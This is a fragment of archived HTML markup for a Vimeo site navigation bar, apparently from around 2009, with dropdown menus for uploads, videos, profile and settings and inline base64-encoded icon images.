<li style="list-style-type:none;cursor:pointer;float:left;position:relative;background-color: rgb(23, 35, 34); width:6em;margin: 0px; padding: 0px 18px; "><a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/forum:Projects" target="_blank" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;background-image:url(data:image/gif;base64,R0lGODlhAgABAIABADw8PP///yH5BAEAAAEALAAAAAACAAEAAAICRAoAOw==);background-color: transparent; display:block;background-position: 0% 0%; background-repeat: repeat-x; outline: invert none medium; margin: 0px; padding: 4px 0px 5px; ">Projects</a></li>
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;background-color: rgb(23, 35, 34); width:6em;margin: 0px; padding: 0px 18px; "><a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/Toys" target="_blank" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;background-image:url(data:image/gif;base64,R0lGODlhAgABAIABADw8PP///yH5BAEAAAEALAAAAAACAAEAAAICRAoAOw==);background-color: transparent; display:block;background-position: 0% 0%; background-repeat: repeat-x; outline: invert none medium; margin: 0px; padding: 4px 0px 0px; ">Toys</a></li>
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;width:6em;background-color: transparent; margin: 0px; padding: 0px 18px; ">
|
||||
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAAUCAYAAACAl21KAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAMpJREFUeNpiFFdW+snAwMDGQCFgAuIvDFQAIINeUMuga9Qy6Cy1DDpIDYMYgbHGDKTvAbEcJQYx8wgJ/gfSIkBsR6mLQLQ01FVslLgIRH8GYnEgNqPURSAgBMS3oTRZsQYD74A4i1KvwcBVaMCbUWoQCOwCYgMgVifXazDwF4gjgHgrpS4CgT9AvBKIJYDYmBKDQACUULdAww2UWHnINQgGQKXDTCAGFYCmuBItMQaBwC9o5p4DxN+BWBSKsSZIUoEiEIdDw1AFIMAAEK8fe1gltpYAAAAASUVORK5CYII=" style="position:absolute;left:0px;width:18px;height:20px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
<img src="data:image/gif;base64,R0lGODlhAQABAIAAABcjIgAAACH5BAAAAAAALAAAAAABAAEAAAICRAEAOw==" style="height:20px;width:100%;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAAUCAYAAACAl21KAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAKhJREFUeNpiFFdW+s9AOfjFxEAd8IVaBr2glkHXqGXQWWoZdJAaBj0C4lPUMGgxEP+l1KBfQDwdxKDUoFlA/JRSg94BcT2MQ4lBWVDDKDJoChCvRBYgx6BNQFyALkiqQVuBOAIU3ZQYBIohfyD+jk2SGINeAHEoEKdjcwkMsOArY4C4G4j7oGy8AJtB14B4DTRmXhPrb5BBF4D4DqgogEbpfXLSA0CAAQACpyLRjs+JagAAAABJRU5ErkJggg==" style="position:absolute;right:0px;top:0px;width:18px;height:20px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
</li>
|
||||
</ul>
|
||||
</li>
|
||||
<li style="list-style-type:none;cursor:pointer;background-color: rgb(23, 35, 34); width:2.3em;float:right;position:relative;font:normal normal normal 10px/normal Verdana;height:13px;font-size:11px;margin: 0px; padding: 16px 18px 21px; ">
|
||||
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/upload/video" target="_blank" style="cursor:pointer;text-decoration:none;display:block;color:rgb(255, 255, 255);outline: invert none medium; margin: 0px; padding: 0px; ">Upload</a>
|
||||
<ul style="display:none;z-index:999999;position:absolute;top:50px;left:15px;color:rgb(187, 187, 187);list-style: none outside none; margin: 0px 0px 0px -15px; padding: 0px; ">
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;background-color: rgb(23, 35, 34); width:13.4em;margin: 0px; padding: 0px 18px; ">
|
||||
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/upload" target="_blank" style="cursor:pointer;text-decoration:none;font-size:11px;display:block;background-color: transparent; color:rgb(255, 255, 255);outline: invert none medium; margin: 0px; padding: 4px 0px 0px; ">
|
||||
You have <span style="color:rgb(247, 83, 66);margin: 0px; padding: 0px; "><strong style="margin: 0px; padding: 0px; ">500MB</strong></span>
|
||||
free for uploading this week. <img alt="Upload Your Video" src="data:image/gif;base64,R0lGODlhlgAeAMQAABUjJoO521GdzDaIu/P4/MHc7Slgf5zH4mqr1B4+Tdrq9KjO5jSBsUSWyM3j8BkxOv///12k0LXV6Xay1+bx+I/A3itnijiPxSBEVytmiRs3Qy1tkylggAAAAAAAAAAAACH5BAAHAP8ALAAAAACWAB4AAAX/IAA81nCdaKqubOu+cCzPdJ1uiSgmpu3/wKBwiOKIHj2icslszjCAjHNKrSoZgKR1y+2yNN6wmJsYm8/LMnrNrqnb8K2AAqnXD7F3fO882P95NAgQDiiDhS5+eEF1SoorjVRzf5EvejCHhoQvj4wQSgEOAZCfXXaBM5knmQ0IEQ0VFQ0nnQ0BBwGzJ7YHFQIoAr0NlSkTBwcRKwgIKBEIDQIIvxfBspURvdMn2Mg2ERKjF6cwly+qF5mDCgR1CrOPEex1BMkNCn+/8e3EJxJ/4SjuTaMTDAIefRDulapghwCzC/7sSKihMNk4S4I2rdo0CMKEBg4gVLjw6N5Ihgou/0wggKeAwQsuF1xYwG9OIYaIUASAIHMChAIkX8ac2UgABAoNIhxVmVCAgHsTaLiEkIwOBVQyzqVLeMJnIUVKU564l+xChAr38NSZNayUCgEBXObcReCqv6iP1l5oe4GhhGVkXUZlCvQFrF8NDgwOps1FORdaOWrMpOhcSFd0jr6sxA9kHTpz+1GtS2uz20Z+KCG4vDH0ipAQGruhYZSArp1AB129gDvogdooCLrE84jdL6NuTzAs0EpjCqUhFxWPTa3RTpnoRI/kDWHii8xlfTx2cY/CgQXsRnWUMIHOqEchCyBwCdQlezp4/DlYzQ8lf9cXKDTNI/rx94kABBBgjKVkBAQQADvhqVDWaov8MF4LEShUB3bqKOTdI57VwRw68viRkj13dJaZBHTokkJvpeGBokGRPPhZWTZCoGAL/rhDxIUuRPOMJoVIE6SRKLTioiGyqYAkEE+msIwyD7VgR5VBAJkRgHx04Yd3Q2g5QwQOYNflmbOhqaYZYq7pZhpavCmnExpIMeedTGCBBJ58DgEFADz0KagNBugwQgZxDqroDTmIEAIAOw==" style="border-width: 0px; border-style: none; margin: 0px; padding: 16px 0px 0px; border-color: white; "/>
|
||||
</a>
|
||||
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAAKCAYAAACALL/6AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAPVJREFUeNpiufHwwf8PHz8yPH36lOHwkSMMu/fsYXj8+DEDCwsLAysrKwM6YLz56CETMzMzCxMQgASeP3/OtXLVqrebtmxh+PDhAwM7Ozuqhv///6MI3Hn6hAVoMtup06e/9vT2Mty8dYuBg4MDtwYQANnKBQQPHj7kqq2re3nx0iWETSANuPCDF8+5Dp06KWZsb/dfQEb6v7iy0n+8GkD44csXXKs3b/ovra72X1RR4T8TAwHw/cePHyamppzhoaEMv379YiCoQV1O/h/IJj9fX0l5OTkGFgYigKKE5A9WFpYvtra2hG2AgV+/f/+ytrJiAAgwAJMsjRfgwkvRAAAAAElFTkSuQmCC" style="position:absolute;top:0px;left:-12px;width:12px;height:10px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAAKCAYAAACALL/6AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAPBJREFUeNpiFFdW+s+ABn7//s3w588fBllZWQZXFxcGWxsbBmlpaQYBfn4GFnTFP3/+ZBAQEGDw8/FhCA8LE5aUlPwGEv8HBH///v2DouHHjx8M6mpqDCXFxQxmpqbcQJt+KUpI/kFWw4JssoG+PkNzU5O4grz8NyD4oS4n/w/dBQwgPwjISP83trf7f+jUSbEHL55z/f//nwEXZhBVVPgvra72f/XmTf8fvnyBVzEIM/369YshPDSUwcTUlPM7yBMEAJO8nByDn6+vJEg3VjejARZbW1sGZSWlLzIiogRNB9tgbWXF8AsYfAxEAoAAAwCW14MZ5CHflgAAAABJRU5ErkJggg==" style="position:absolute;top:0px;right:-12px;width:12px;height:10px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
</li>
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;width:13.4em;background-color: transparent; margin: 0px; padding: 0px 18px; ">
|
||||
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAAUCAYAAACAl21KAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAMpJREFUeNpiFFdW+snAwMDGQCFgAuIvDFQAIINeUMuga9Qy6Cy1DDpIDYMYgbHGDKTvAbEcJQYx8wgJ/gfSIkBsR6mLQLQ01FVslLgIRH8GYnEgNqPURSAgBMS3oTRZsQYD74A4i1KvwcBVaMCbUWoQCOwCYgMgVifXazDwF4gjgHgrpS4CgT9AvBKIJYDYmBKDQACUULdAww2UWHnINQgGQKXDTCAGFYCmuBItMQaBwC9o5p4DxN+BWBSKsSZIUoEiEIdDw1AFIMAAEK8fe1gltpYAAAAASUVORK5CYII=" style="position:absolute;left:0px;width:18px;height:20px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
<img src="data:image/gif;base64,R0lGODlhAQABAIAAABcjIgAAACH5BAAAAAAALAAAAAABAAEAAAICRAEAOw==" style="height:20px;width:100%;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAAUCAYAAACAl21KAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAKhJREFUeNpiFFdW+s9AOfjFxEAd8IVaBr2glkHXqGXQWWoZdJAaBj0C4lPUMGgxEP+l1KBfQDwdxKDUoFlA/JRSg94BcT2MQ4lBWVDDKDJoChCvRBYgx6BNQFyALkiqQVuBOAIU3ZQYBIohfyD+jk2SGINeAHEoEKdjcwkMsOArY4C4G4j7oGy8AJtB14B4DTRmXhPrb5BBF4D4DqgogEbpfXLSA0CAAQACpyLRjs+JagAAAABJRU5ErkJggg==" style="position:absolute;right:0px;top:0px;width:18px;height:20px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
</li>
|
||||
</ul>
|
||||
</li>
|
||||
<li style="list-style-type:none;cursor:pointer;background-color: rgb(23, 35, 34); width:2.3em;float:right;position:relative;font:normal normal normal 10px/normal Verdana;height:13px;font-size:11px;margin: 0px; padding: 16px 18px 21px; ">
|
||||
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/user1389599/videos" target="_blank" style="cursor:pointer;text-decoration:none;display:block;color:rgb(255, 255, 255);outline: invert none medium; margin: 0px; padding: 0px; ">Videos</a>
|
||||
<ul style="display:none;z-index:999999;position:absolute;top:50px;left:15px;color:rgb(187, 187, 187);list-style: none outside none; margin: 0px 0px 0px -15px; padding: 0px; ">
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;width:10em;background-color: rgb(23, 35, 34); margin: 0px; padding: 0px 18px; ">
|
||||
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/user1389599/videos" target="_blank" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;display:block;background-color: transparent; outline: invert none medium; margin: 0px; padding: 4px 0px 5px; ">My Videos
|
||||
<span style="color:rgb(187, 187, 187);font-size:10px;margin: 0px; padding: 0px; ">(0)</span></a>
|
||||
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAAKCAYAAACALL/6AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAPVJREFUeNpiufHwwf8PHz8yPH36lOHwkSMMu/fsYXj8+DEDCwsLAysrKwM6YLz56CETMzMzCxMQgASeP3/OtXLVqrebtmxh+PDhAwM7Ozuqhv///6MI3Hn6hAVoMtup06e/9vT2Mty8dYuBg4MDtwYQANnKBQQPHj7kqq2re3nx0iWETSANuPCDF8+5Dp06KWZsb/dfQEb6v7iy0n+8GkD44csXXKs3b/ovra72X1RR4T8TAwHw/cePHyamppzhoaEMv379YiCoQV1O/h/IJj9fX0l5OTkGFgYigKKE5A9WFpYvtra2hG2AgV+/f/+ytrJiAAgwAJMsjRfgwkvRAAAAAElFTkSuQmCC" style="position:absolute;top:0px;left:-12px;width:12px;height:10px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAAKCAYAAACALL/6AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAPBJREFUeNpiFFdW+s+ABn7//s3w588fBllZWQZXFxcGWxsbBmlpaQYBfn4GFnTFP3/+ZBAQEGDw8/FhCA8LE5aUlPwGEv8HBH///v2DouHHjx8M6mpqDCXFxQxmpqbcQJt+KUpI/kFWw4JssoG+PkNzU5O4grz8NyD4oS4n/w/dBQwgPwjISP83trf7f+jUSbEHL55z/f//nwEXZhBVVPgvra72f/XmTf8fvnyBVzEIM/369YshPDSUwcTUlPM7yBMEAJO8nByDn6+vJEg3VjejARZbW1sGZSWlLzIiogRNB9tgbWXF8AsYfAxEAoAAAwCW14MZ5CHflgAAAABJRU5ErkJggg==" style="position:absolute;top:0px;right:-12px;width:12px;height:10px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
</li>
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;width:10em;background-color: rgb(23, 35, 34); margin: 0px; padding: 0px 18px; "><a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/user1389599/albums" target="_blank" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;background-image:url(data:image/gif;base64,R0lGODlhAgABAIABADw8PP///yH5BAEAAAEALAAAAAACAAEAAAICRAoAOw==);background-color: transparent; display:block;background-position: 0% 0%; background-repeat: repeat-x; outline: invert none medium; margin: 0px; padding: 4px 0px 5px; ">My Albums
|
||||
<span style="color:rgb(187, 187, 187);font-size:10px;margin: 0px; padding: 0px; ">(0)</span></a></li>
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;width:10em;background-color: rgb(23, 35, 34); margin: 0px; padding: 0px 18px; "><a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/user1389599/groups" target="_blank" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;background-image:url(data:image/gif;base64,R0lGODlhAgABAIABADw8PP///yH5BAEAAAEALAAAAAACAAEAAAICRAoAOw==);background-color: transparent; display:block;background-position: 0% 0%; background-repeat: repeat-x; outline: invert none medium; margin: 0px; padding: 4px 0px 5px; ">My Groups
|
||||
<span style="color:rgb(187, 187, 187);font-size:10px;margin: 0px; padding: 0px; ">(0)</span></a></li>
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;width:10em;background-color: rgb(23, 35, 34); margin: 0px; padding: 0px 18px; "><a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/user1389599/channels" target="_blank" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;background-image:url(data:image/gif;base64,R0lGODlhAgABAIABADw8PP///yH5BAEAAAEALAAAAAACAAEAAAICRAoAOw==);background-color: transparent; display:block;background-position: 0% 0%; background-repeat: repeat-x; outline: invert none medium; margin: 0px; padding: 4px 0px 5px; ">My Channels
|
||||
<span style="color:rgb(187, 187, 187);font-size:10px;margin: 0px; padding: 0px; ">(0)</span></a></li>
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;width:10em;background-color: rgb(23, 35, 34); margin: 0px; padding: 0px 18px; "><a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/user1389599/likes" target="_blank" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;background-image:url(data:image/gif;base64,R0lGODlhAgABAIABADw8PP///yH5BAEAAAEALAAAAAACAAEAAAICRAoAOw==);background-color: transparent; display:block;background-position: 0% 0%; background-repeat: repeat-x; outline: invert none medium; margin: 0px; padding: 4px 0px 5px; ">My Likes
|
||||
<span style="color:rgb(187, 187, 187);font-size:10px;margin: 0px; padding: 0px; ">(0)</span></a></li>
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;width:10em;background-color: rgb(23, 35, 34); margin: 0px; padding: 0px 18px; "><a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/inbox/subscriptions" target="_blank" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;background-image:url(data:image/gif;base64,R0lGODlhAgABAIABADw8PP///yH5BAEAAAEALAAAAAACAAEAAAICRAoAOw==);background-color: transparent; display:block;background-position: 0% 0%; background-repeat: repeat-x; outline: invert none medium; margin: 0px; padding: 4px 0px 0px; ">My Subscriptions</a></li>
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;width:10em;background-color: transparent; margin: 0px; padding: 0px 18px; ">
|
||||
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAAUCAYAAACAl21KAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAMpJREFUeNpiFFdW+snAwMDGQCFgAuIvDFQAIINeUMuga9Qy6Cy1DDpIDYMYgbHGDKTvAbEcJQYx8wgJ/gfSIkBsR6mLQLQ01FVslLgIRH8GYnEgNqPURSAgBMS3oTRZsQYD74A4i1KvwcBVaMCbUWoQCOwCYgMgVifXazDwF4gjgHgrpS4CgT9AvBKIJYDYmBKDQACUULdAww2UWHnINQgGQKXDTCAGFYCmuBItMQaBwC9o5p4DxN+BWBSKsSZIUoEiEIdDw1AFIMAAEK8fe1gltpYAAAAASUVORK5CYII=" style="position:absolute;left:0px;width:18px;height:20px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
<img src="data:image/gif;base64,R0lGODlhAQABAIAAABcjIgAAACH5BAAAAAAALAAAAAABAAEAAAICRAEAOw==" style="height:20px;width:100%;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAAUCAYAAACAl21KAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAKhJREFUeNpiFFdW+s9AOfjFxEAd8IVaBr2glkHXqGXQWWoZdJAaBj0C4lPUMGgxEP+l1KBfQDwdxKDUoFlA/JRSg94BcT2MQ4lBWVDDKDJoChCvRBYgx6BNQFyALkiqQVuBOAIU3ZQYBIohfyD+jk2SGINeAHEoEKdjcwkMsOArY4C4G4j7oGy8AJtB14B4DTRmXhPrb5BBF4D4DqgogEbpfXLSA0CAAQACpyLRjs+JagAAAABJRU5ErkJggg==" style="position:absolute;right:0px;top:0px;width:18px;height:20px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
</li>
|
||||
</ul>
|
||||
</li>
|
||||
<li style="list-style-type:none;cursor:pointer;background-color: rgb(23, 35, 34); float:right;position:relative;font:normal normal normal 10px/normal Verdana;height:13px;font-size:11px;width:5.3em;margin: 0px; padding: 16px 0px 21px; ">
|
||||
<ul style="display:none;z-index:999999;position:absolute;top:50px;left:15px;color:rgb(187, 187, 187);list-style: none outside none; margin: 0px 0px 0px -33px; padding: 0px; ">
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;background-color: rgb(23, 35, 34); width:110px;margin: -20px 0px 0px; padding: 20px 18px 0px; ">
|
||||
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/" target="_blank" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;display:block;background-color: transparent; outline: invert none medium; margin: 0px; padding: 4px 0px 5px; ">My Home Page</a>
|
||||
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAAKCAYAAACALL/6AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAPBJREFUeNpiFFdW+s+ABn7//s3w588fBllZWQZXFxcGWxsbBmlpaQYBfn4GFnTFP3/+ZBAQEGDw8/FhCA8LE5aUlPwGEv8HBH///v2DouHHjx8M6mpqDCXFxQxmpqbcQJt+KUpI/kFWw4JssoG+PkNzU5O4grz8NyD4oS4n/w/dBQwgPwjISP83trf7f+jUSbEHL55z/f//nwEXZhBVVPgvra72f/XmTf8fvnyBVzEIM/369YshPDSUwcTUlPM7yBMEAJO8nByDn6+vJEg3VjejARZbW1sGZSWlLzIiogRNB9tgbWXF8AsYfAxEAoAAAwCW14MZ5CHflgAAAABJRU5ErkJggg==" style="right:-12px;width:12px;height:10px;position:absolute;top:20px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
</li>
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;background-color: rgb(23, 35, 34); width:110px;margin: 0px; padding: 0px 18px; "><a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/user1389599" target="_blank" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;background-image:url(data:image/gif;base64,R0lGODlhAgABAIABADw8PP///yH5BAEAAAEALAAAAAACAAEAAAICRAoAOw==);background-color: transparent; display:block;background-position: 0% 0%; background-repeat: repeat-x; outline: invert none medium; margin: 0px; padding: 4px 0px 5px; ">My Profile</a></li>
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;background-color: rgb(23, 35, 34); width:110px;margin: 0px; padding: 0px 18px; "><a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/user1389599/contacts" target="_blank" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;background-image:url(data:image/gif;base64,R0lGODlhAgABAIABADw8PP///yH5BAEAAAEALAAAAAACAAEAAAICRAoAOw==);background-color: transparent; display:block;background-position: 0% 0%; background-repeat: repeat-x; outline: invert none medium; margin: 0px; padding: 4px 0px 5px; ">My Contacts
|
||||
<span style="color:rgb(187, 187, 187);font-size:10px;margin: 0px; padding: 0px; ">(0)</span></a></li>
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;background-color: rgb(23, 35, 34); width:110px;margin: 0px; padding: 0px 18px; "><a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/conversations" target="_blank" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;background-image:url(data:image/gif;base64,R0lGODlhAgABAIABADw8PP///yH5BAEAAAEALAAAAAACAAEAAAICRAoAOw==);background-color: transparent; display:block;background-position: 0% 0%; background-repeat: repeat-x; outline: invert none medium; margin: 0px; padding: 4px 0px 5px; ">My Conversations</a></li>
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;background-color: rgb(23, 35, 34); width:110px;margin: 0px; padding: 0px 18px; "><a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/settings" target="_blank" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;background-image:url(data:image/gif;base64,R0lGODlhAgABAIABADw8PP///yH5BAEAAAEALAAAAAACAAEAAAICRAoAOw==);background-color: transparent; display:block;background-position: 0% 0%; background-repeat: repeat-x; outline: invert none medium; margin: 0px; padding: 4px 0px 5px; ">Settings</a></li>
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;color:rgb(247, 83, 66);background-color: rgb(23, 35, 34); width:110px;margin: 0px; padding: 0px 18px; "><a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/log_out" target="_blank" style="cursor:pointer;text-decoration:none;color:rgb(247, 83, 66);font-size:11px;background-image:url(data:image/gif;base64,R0lGODlhAgABAIABADw8PP///yH5BAEAAAEALAAAAAACAAEAAAICRAoAOw==);background-color: transparent; display:block;background-position: 0% 0%; background-repeat: repeat-x; outline: invert none medium; margin: 0px; padding: 4px 0px 0px; ">Logout</a></li>
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;width:110px;background-color: transparent; position:relative;margin: 0px; padding: 0px 18px; ">
|
||||
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAAUCAYAAACAl21KAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAMpJREFUeNpiFFdW+snAwMDGQCFgAuIvDFQAIINeUMuga9Qy6Cy1DDpIDYMYgbHGDKTvAbEcJQYx8wgJ/gfSIkBsR6mLQLQ01FVslLgIRH8GYnEgNqPURSAgBMS3oTRZsQYD74A4i1KvwcBVaMCbUWoQCOwCYgMgVifXazDwF4gjgHgrpS4CgT9AvBKIJYDYmBKDQACUULdAww2UWHnINQgGQKXDTCAGFYCmuBItMQaBwC9o5p4DxN+BWBSKsSZIUoEiEIdDw1AFIMAAEK8fe1gltpYAAAAASUVORK5CYII=" style="position:absolute;left:0px;width:18px;height:20px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
<img src="data:image/gif;base64,R0lGODlhAQABAIAAABcjIgAAACH5BAAAAAAALAAAAAABAAEAAAICRAEAOw==" style="height:20px;width:100%;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAAUCAYAAACAl21KAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAKhJREFUeNpiFFdW+s9AOfjFxEAd8IVaBr2glkHXqGXQWWoZdJAaBj0C4lPUMGgxEP+l1KBfQDwdxKDUoFlA/JRSg94BcT2MQ4lBWVDDKDJoChCvRBYgx6BNQFyALkiqQVuBOAIU3ZQYBIohfyD+jk2SGINeAHEoEKdjcwkMsOArY4C4G4j7oGy8AJtB14B4DTRmXhPrb5BBF4D4DqgogEbpfXLSA0CAAQACpyLRjs+JagAAAABJRU5ErkJggg==" style="position:absolute;right:0px;top:0px;width:18px;height:20px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
</li>
|
||||
</ul>
|
||||
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/user1389599" target="_blank" style="cursor:pointer;text-decoration:none;display:block;color:rgb(3, 149, 204);outline: invert none medium; margin: 0px; padding: 0px; "><img src="611a2426c1622266efe3d377354514c2b0ac6c9b.jpg" style="z-index:1999999;position:absolute;top:8px;height:24px;width:24px;vertical-align:middle;border-width: 3px; border-style: solid; margin: 0px; padding: 0px; border-color: rgb(119, 212, 253); "/></a>
|
||||
<div style="position:absolute;margin: 0px; padding: 0px 0px 0px 37px; ">
|
||||
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/user1389599" target="_blank" style="cursor:pointer;text-decoration:none;display:block;color:rgb(255, 255, 255);outline: invert none medium; margin: 0px; padding: 0px; ">Me</a>
|
||||
</div>.
|
||||
</li>
|
||||
</ul>
|
||||
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAAyCAYAAABRYothAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAALdJREFUeNpiFFdW+s9ABcDEQCUwatCoQaMGjRo0atCoQaMGjTyDflHLoC/UMugFtQy6Ri2DzlLLoIPUMugUED+ihkF/gXgZtRLkFErTE8ygp0A8i1pZpB6I31HDIJAhWdTKtCuh4UWV3F8AxJuoYRAoOUQA8VZqlEffgdiflJjEV7CBXJYOxKHElBDElJBrgFgVmjy+UFrUggxoAmIlIG4F4pvoChiBHT9yk44iEIcDsTEQqwAEGAB4Dx9oMGHI6wAAAABJRU5ErkJggg==" style="width:18px;height:50px;float:right;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
</div>
|
||||
<div style="position:absolute;top:100px;right:20px;text-align:right;width:400px;margin: 0px; padding: 0px; ">
|
||||
</div>
|
||||
</div>
|
||||
